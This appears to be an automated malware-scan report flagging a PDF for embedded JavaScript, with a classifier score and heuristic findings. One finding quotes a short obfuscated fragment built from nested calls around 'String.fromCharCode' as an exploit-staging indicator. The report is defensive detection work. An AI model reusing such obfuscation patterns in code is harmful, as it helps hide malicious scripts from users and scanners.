Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript actions and streams. The extracted JavaScript file, 'javascript_obj0001_000.js', likely attempts to execute malicious code upon opening the PDF. The exact intent of the script is unclear due to potential obfuscation, but its presence is a strong indicator of malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

    dbxa\(dbxa\('String.fromCharCode\(' + uurb + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
